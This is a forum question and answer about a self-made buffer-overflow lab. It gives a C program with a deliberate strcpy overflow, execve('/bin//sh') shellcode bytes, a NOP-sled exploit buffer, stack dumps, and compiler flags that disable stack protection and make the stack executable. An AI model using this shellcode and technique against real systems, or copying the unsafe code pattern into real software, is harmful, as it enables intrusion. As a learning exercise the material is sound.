1

I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int check_password(char *password){
    int retval = 0;
    char possible_password_1[16] = "possiblepasswrd";
    char possible_password_2[16] = "drwssapelbissop";
    char user_input_password[16];

    strcpy(user_input_password, password);

    if(!strcmp(possible_password_1, user_input_password))
        retval = 1;

    if(!strcmp(possible_password_2, user_input_password))
        retval = 2;

    return retval;
}

int main(int argc, char *argv[]){
    if(argc < 2){
        printf("Not enough arguments\n");
        return -1;
    }

    int correct = check_password(argv[1]);
    if(correct)
        printf("CORRECT PASSWORD\n");
    else
        printf("INCORRECT PASSWORD\n");

    return 0;
}

Not very well written but it's full of vulnerabilities.

I managed to overwrite retval to get the program to display "CORRECT PASSWORD" even though my password is incorrect. However, I would now like to test some shellcode: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

I cannot, however, get it to execute. I just get a segfault.

Here is the stack in the check_password function right before the call to strcpy:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

Among other things, I see 0x08048523, which seems to be the return pointer, as it points to the instruction right after the call to check_password in main:

0x0804851e <+59>:   call   0x804844b <check_password>
0x08048523 <+64>:   add    esp,0x10

I therefore decided to build my exploit buffer around this:

00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73  .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80  hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf  ................
00000040: c4 f5 ff bf                                      ....

0xbffff5c4 is the address of *argv[1], and contains the shellcode:

0xbffff5c4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5cc: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5d4: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbffff5dc: 0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73    0x68
0xbffff5e4: 0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3    0x50

When the overwrite occurs, the address to the next instruction in main is overwritten by this address:

Before:

0xbffff30c: 0x00000000  0xb7fff000  0xb7fff918  0xbffff330
0xbffff31c: 0x73777264  0x65706173  0x7369626c  0x00706f73
0xbffff32c: 0x73736f70  0x656c6269  0x73736170  0x00647277
0xbffff33c: 0x00000000  0x00008000  0xb7fb1000  0xbffff378
0xbffff34c: 0x08048523  0xbffff5c3  0x00000003  0xb7e30740

After:

0xbffff30c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff31c: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xbffff32c: 0x622f6868  0xe3896e69  0xe1895350  0x80cd0bb0
0xbffff33c: 0xbffff5c4  0xbffff5c4  0xbffff5c4  0xbffff5c4
0xbffff34c: 0xbffff5c4  0xbffff500  0x00000003  0xb7e30740

So as far as I can tell, the shellcode should execute as soon as the function returns. However, this is not the case:

Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()

I'm really not sure what I did wrong here. Could someone please point me in the right direction?

Thank you.

1

I suppose you need to compile the code disabling the stack protections. For example, try in this way:

gcc -g -fno-stack-protector -zexecstack -o vuln vuln.c

-g (enable debugging information)

-f no-stack-protector (disable extra code to check buffer overflow)

-z execstack (make the stack executable... where your shellcode will be)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.